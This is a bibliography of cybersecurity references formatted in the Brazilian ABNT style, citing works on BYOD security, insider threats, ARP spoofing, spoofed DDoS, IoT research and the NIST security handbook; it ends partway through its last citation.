ALOTAIBI, B.; ALMAGWASHI, H. A Review of BYOD Security Challenges, Solutions and Policy Best Practices. In: 2018 1st International Conference on Computer Applications & Information Security (ICCAIS), Riyadh, Saudi Arabia, 2018. p. 1-6. DOI: 10.1109/CAIS.2018.8441967. Acesso em: 18 dez. 2024.

LIU, L.; DE VEL, O.; HAN, Q.-L.; ZHANG, J.; XIANG, Y. Detecting and preventing cyber insider threats: a survey. IEEE Communications Surveys & Tutorials, v. 20, n. 2, p. 1397–1417, 2º trim. 2018. Acesso em: 23 dez. 2024.

WHALEN, Sean. An introduction to ARP spoofing. Node99, n. 563, 2001. Disponível em: https://www.node99.org/papers/arp-spoofing.pdf. Acesso em: 10 jan. 2025.

CHEN, Y. et al. Detecting and preventing IP-spoofed distributed DoS attacks. International Journal of Network Security, v. 7, n. 1, p. 69–80, 2008. Acesso em: 21 jan. 2025

NATIONAL INSTITUTE OF STANDARDS AND TECHNOLOGY (NIST). SP 800-12 Revision 1: An introduction to computer security – The NIST handbook. Disponível em: https://csrc.nist.gov/pubs/sp/800/12/r1/final. Acesso em: 8 fev. 2025.

MALLICK, Md Abu Imran; NATH, Rishab. Navigating the cyber security landscape: a comprehensive review of cyber-attacks, emerging trends, and recent developments. World Scientific News, v. 190, n. 1, p. 1–69, 29 jan. 2024. Disponível em: https://worldscientificnews.com/wp-content/uploads/2024/01/WSN-1901-2024-1-69-1.pdf. Acesso em: 10 abr. 2025.

DACHYAR, M.; ZAGLOEL, Teuku Yuri M.; SARAGIH, L. Ranjaliba. Knowledge growth and development: internet of things (IoT) research, 2006–2018. Heliyon, [S. l.], v. 5, n. 8, p. e02264, 2019. Disponível em: https://www.cell.com/heliyon/fulltext/S2405-8440(19)32288-0. Acesso em: 15 maio 2025.

YANG, M.; LI, J.; ZHANG, W.; WEI, J. Research on Network Security Situation Prediction Based on Optimized Temporal Convolutional Network. In: 2022 14th International Conference on Machine Learning and Computing (ICMLC), Shenzhen, China, 2022. p. 488–493. DOI: 10.1109/ICMLC57125.2022.10037723. Acesso em: 16 maio 2025.

ALMAGWASHI, H. A. R.; ALOTAIBI, B. Towards an Insider Threat Detection Model for IoT-Based Smart Homes. In: 2022 6th International Conference on Computing and Communications (ICCC), Riyadh, Saudi Arabia, 2022. p. 1–5. DOI: 10.1109/ICCC57417.2022.9766351. Acesso em: 18 maio 2025.

ABDULLAH, A. M. I. A.; GALDE, M. (2023). ” Navigating Network Security: Analyzing ARP’s Role, Challenges, and Solutions in Ethernet and IEEE 802.11 Environments.